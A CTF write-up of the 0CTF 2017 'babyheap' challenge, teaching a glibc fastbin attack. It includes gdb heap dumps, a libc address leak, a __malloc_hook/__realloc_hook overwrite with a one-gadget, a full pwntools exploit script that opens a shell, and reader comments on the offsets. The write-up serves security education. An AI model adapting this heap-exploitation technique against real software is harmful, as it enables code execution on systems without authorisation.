0CTF 2017 Quals PWN Babyheap Write-up

Introduction

This PWN challenge is given on 0CTF 2017 Qualification. As part of my tutorial, I take it as an example for explaining fastbin attack.

Vulnerability Analysis

There is an heap overflow vulnerability in the FILL function. This vulnerability enables attacker to overwrite arbitrary bytes after the victim chunk

Exploit Plan

Info Leak: From my perspective, the hard point of this challenge is how to leak the base address of libc. Since this challenge uses calloc to allocate new memory, we cannot read the FD or BK pointer left in memory if the allocated chunk belongs to small size.
The trick I use in my exploit is to free two chunks of fastbin size. Use heap overflow to overwrite the least significant bit of the first chunk in fast bin, making it point to an crafted fast bin and overlap on a smallbin chunk.
Memory layout before heap overflow

//List memory layout
0x120f732f1030:	0x0000000000000000	0x0000000000000000
0x120f732f1040:	0x0000000000000000	0x0000000000000001
0x120f732f1050:	0x0000000000000020	0x00007fa8b36e7040
0x120f732f1060:	0x0000000000000000	0x0000000000000000
0x120f732f1070:	0x0000000000000000	0x0000000000000001
0x120f732f1080:	0x0000000000000020	0x00007fa8b36e70a0
0x120f732f1090:	0x0000000000000001	0x0000000000000080
0x120f732f10a0:	0x00007fa8b36e70d0	0x0000000000000001
0x120f732f10b0:	0x0000000000000020	0x00007fa8b36e7160
0x120f732f10c0:	0x0000000000000000	0x0000000000000000
//heap memory layout
0x7fa8b36e7000:	0x0000000000000000	0x0000000000000031
0x7fa8b36e7010:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7020:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7030:	0x0000000000000000	0x0000000000000031
0x7fa8b36e7040:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7050:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7060:	0x0000000000000000	0x0000000000000031
0x7fa8b36e7070:	0x00007fa8b36e7000	0x0000000000000000
0x7fa8b36e7080:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7090:	0x0000000000000000	0x0000000000000031
0x7fa8b36e70a0:	0x0000000000000000	0x0000000000000000
0x7fa8b36e70b0:	0x0000000000000000	0x0000000000000000
0x7fa8b36e70c0:	0x0000000000000000	0x0000000000000091
0x7fa8b36e70d0:	0x0000000000000000	0x0000000000000000
0x7fa8b36e70e0:	0x0000000000000000	0x0000000000000000
0x7fa8b36e70f0:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7100:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7110:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7120:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7130:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7140:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7150:	0x0000000000000000	0x0000000000000031
0x7fa8b36e7160:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7170:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7180:	0x0000000000000000	0x0000000000020e81

Memory layout after heap overflow and memory preparation

//list memory layout
0x120f732f1030:	0x0000000000000000	0x0000000000000000
0x120f732f1040:	0x0000000000000000	0x0000000000000001
0x120f732f1050:	0x0000000000000020	0x00007fa8b36e7040
0x120f732f1060:	0x0000000000000000	0x0000000000000000
0x120f732f1070:	0x0000000000000000	0x0000000000000001
0x120f732f1080:	0x0000000000000020	0x00007fa8b36e70a0
0x120f732f1090:	0x0000000000000001	0x0000000000000080
0x120f732f10a0:	0x00007fa8b36e70d0	0x0000000000000001
0x120f732f10b0:	0x0000000000000020	0x00007fa8b36e7160
0x120f732f10c0:	0x0000000000000000	0x0000000000000000
//heap memory layout
0x7fa8b36e7000:	0x0000000000000000	0x0000000000000031
0x7fa8b36e7010:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7020:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7030:	0x0000000000000000	0x0000000000000031
0x7fa8b36e7040:	0x4141414141414141	0x4141414141414141
0x7fa8b36e7050:	0x4141414141414141	0x4141414141414141
0x7fa8b36e7060:	0x4141414141414141	0x0000000000000031
0x7fa8b36e7070:[0x00007fa8b36e70b0] 0x0000000000000000<=overwrite the LSB to '\xb0'
0x7fa8b36e7080:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7090:	0x0000000000000000	0x0000000000000031
0x7fa8b36e70a0:	0x4141414141414141	0x4141414141414141
0x7fa8b36e70b0:{0x0000000000000000==0x0000000000000031}<=crafted fastbin chunk
0x7fa8b36e70c0:	0x0000000000000000	0x0000000000000091<=smallbin chunk
0x7fa8b36e70d0:	0x4141414141414141	0x4141414141414141
0x7fa8b36e70e0:	0x0000000000000000	0x0000000000000031
0x7fa8b36e70f0:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7100:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7110:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7120:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7130:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7140:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7150:	0x0000000000000000	0x0000000000000031
0x7fa8b36e7160:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7170:	0x0000000000000000	0x0000000000000000
0x7fa8b36e7180:	0x0000000000000000	0x0000000000020e81

The flowing step is to allocate another two fastbin chunk, the second chunk will overlap on the smallbin chunk. Next, we free the smallbin chunk and use the overlapping fastbin chunk to read the FD pointer to leak the base address of libc.

Hijacking Control Flow: Since the GOT table of the binary is read-only and compiled with stack canary, I turn my attention to __malloc_hook in libc, and use the following code to hijack control flow.

void *(*hook) (size_t, const void *)= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));

So the basic plan is to overwrite the __malloc_hook with one gadget [1] first and then trigger malloc function to get the shell. However, on my local machine the stack layout cannot satisfy the constraint of one gadget.

0x0000414141414141 in ?? ()
// stack memory layout at point of hijacking control flow
(gdb) x/20gx $rsp
0x7fff97c18178:	0x00007f1ca040ebbe	0x0000000000000000
0x7fff97c18188:	0x0000000000000000	0x00007fff97c181d0
0x7fff97c18198:	0x00007f1ca0962a40	0x00007fff97c182d0
0x7fff97c181a8:	0x00007f1ca0962dd1	0x0000000000000000
0x7fff97c181b8:	0x0000179074099c90	0x0000009000000007
0x7fff97c181c8:	0xc603c516e5c01700	0x00007fff97c181f0
0x7fff97c181d8:	0x00007f1ca096317a	0x00007fff97c182d0
0x7fff97c181e8:	0x0000179074099c90	0x0000000000000000
0x7fff97c181f8:	0x00007f1ca03b3b45	0x00007fff97c182d8
0x7fff97c18208:	0x00007fff97c182d8	0x0000000100000001
//Constraint on one gadget
0x41374	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xd6e77	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

So my walkaround here is to overwrite __realloc_hook also, and divert the control flow to the middle of realloc function to adjust the stack layout and satisfy the constraint.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
    r = process("./babyheap");
elif(DEBUG == 2):
    r = process("./babyheap");
    gdb.attach(r, '''source ./script.py''');

def halt():
    while(True):
        log.info(r.recvline());

def alloc(size):
    r.recvuntil("Command: ");
    r.sendline("1");
    r.recvuntil("Size: ");
    r.sendline(str(size));

def fill(index, size, content):
    r.recvuntil("Command: ");
    r.sendline("2");
    r.recvuntil("Index: ");
    r.sendline(str(index));
    r.recvuntil("Size: ");
    r.sendline(str(size));
    r.recvuntil("Content: ");
    r.send(content);

def free(index):
    r.recvuntil("Command: ");
    r.sendline("3");
    r.recvuntil("Index: ");
    r.sendline(str(index));

def dump(index):
    r.recvuntil("Command: ");
    r.sendline("4");
    r.recvuntil("Index: ");
    r.sendline(str(index));

def exploit():
    alloc(0x20);
    alloc(0x20);
    alloc(0x20);
    alloc(0x20);
    alloc(0x80);
    alloc(0x20);

    free(0);
    free(2);
    fill(4, 0x20, "A"*0x10 + p64(0) + p64(0x31));

    fill(1, 0x31, "A"*0x28 + p64(0x31) + "\xb0");
    fill(3, 0x20, "A"*0x10 + p64(0) + p64(0x31));
    alloc(0x20);
    alloc(0x20);

    fill(3, 0xc0, "A"*0x10+p64(0) + p64(0x31) + p64(0) + p64(0x91) + "A"*0x80 + p64(0) + p64(0x31));
    free(4);

    dump(2);
    r.recvuntil("Content: \n");
    r.recv(0x10);
    leak= r.recv(8);
    leakValue = u64(leak);
    log.info("leaked value: %x" % leakValue);
    libcBase = leakValue - 0x3a5678;
    log.info("libc base: %x" % libcBase);

    fakeAddr = libcBase + 0x3a55ed;

    alloc(0x60);
    free(4);

    fill(2, 0x18, p64(0)+p64(0x71) + p64(fakeAddr));
    alloc(0x60);
    alloc(0x60);

    fill(6, 0x13+8, "A"*0xb + p64(libcBase + 0xd6e77) + p64(libcBase + 0x7c692));
    alloc(0x90);
    r.interactive();

exploit();

Conclusion

This challenge is very interesting and requires solid understanding on how fastbin works in libc.
From the discussion session on [2], there seems to be an interesting trick to locate the address when the symbol info of main_arena is missing. So I take a try in this challenge and the trick works as shown below.

0x0000414141414141 in ?? ()
(gdb) x/20gx &__malloc_hook
0x7f0b57e2f610 <__malloc_hook>:	0x0000414141414141	0x0000000000000000
0x7f0b57e2f620:	0x0000000000000000	0x0000000000000000
0x7f0b57e2f630:	0x0000000000000000	0x0000000000000000
0x7f0b57e2f640:	0x0000000000000000	0x0000000000000000
0x7f0b57e2f650:	0x0b57b073a0000000	0x0000000000000000
0x7f0b57e2f660:	0x0000000000000000	0x0000000000000000
0x7f0b57e2f670:	0x0000000000000000	0x00007f0b5a00e180
0x7f0b57e2f680:	0x00007f0b5a00e130	0x00007f0b5a00e130
0x7f0b57e2f690:	0x00007f0b5a00e130	0x00007f0b57e2f688
0x7f0b57e2f6a0:	0x00007f0b57e2f688	0x00007f0b57e2f698
(gdb) x/20gx &main_arena
No symbol "main_arena" in current context.

Reference

[1] https://github.com/david942j/one_gadget
[2] uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

4 thoughts on “0CTF 2017 Quals PWN Babyheap Write-up

  1. Hello, Mr Charles Wang. Really glad to find your blog. On my machine stack layout cannot satisfy one gadget too. Does that mean task’s server machine satisfy one gadget constraint during competition ? I read many writeups of this challenge. But they solved using one gadget regardless of rsp + 0x30 constraint. I’m really confused about that. Second, didn’t understand [fakeAddr = libcBase + 0x3a55ed]
    I searched this offset through glibc they given. readelf -s libc.so.6_b86ec517ee44b2d6c03096e0518c72a1 | grep 3a55. But didn’t see any result.

    Like

    • Hi, Thank you for reading my post carefully. I think value at 0x3a55ed is not that important. The important value for this challenge is __realloc_hook at 0x3a5608 and __malloc_hook at 0x3a5610. At present, I cannot remember the details of the attack, but it seems to be a fastbin corruption attack. 0x3a55ed is used for allocating a chunk covering both __realloc_hook and __malloc_hook.
      As noted in my post, there is a trick here. Overwriting __malloc_hook is impossible under the constraint of magic gadget. So I overwrite __malloc_hook to jump into the middle function realloc (0x7c692 in the script). This step is for adjusting the stack layout to satisfy the constraint. Then overwrite __realloc_hook to jump to the magic gadget.
      Hope that could explain your puzzle better.

      Like

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.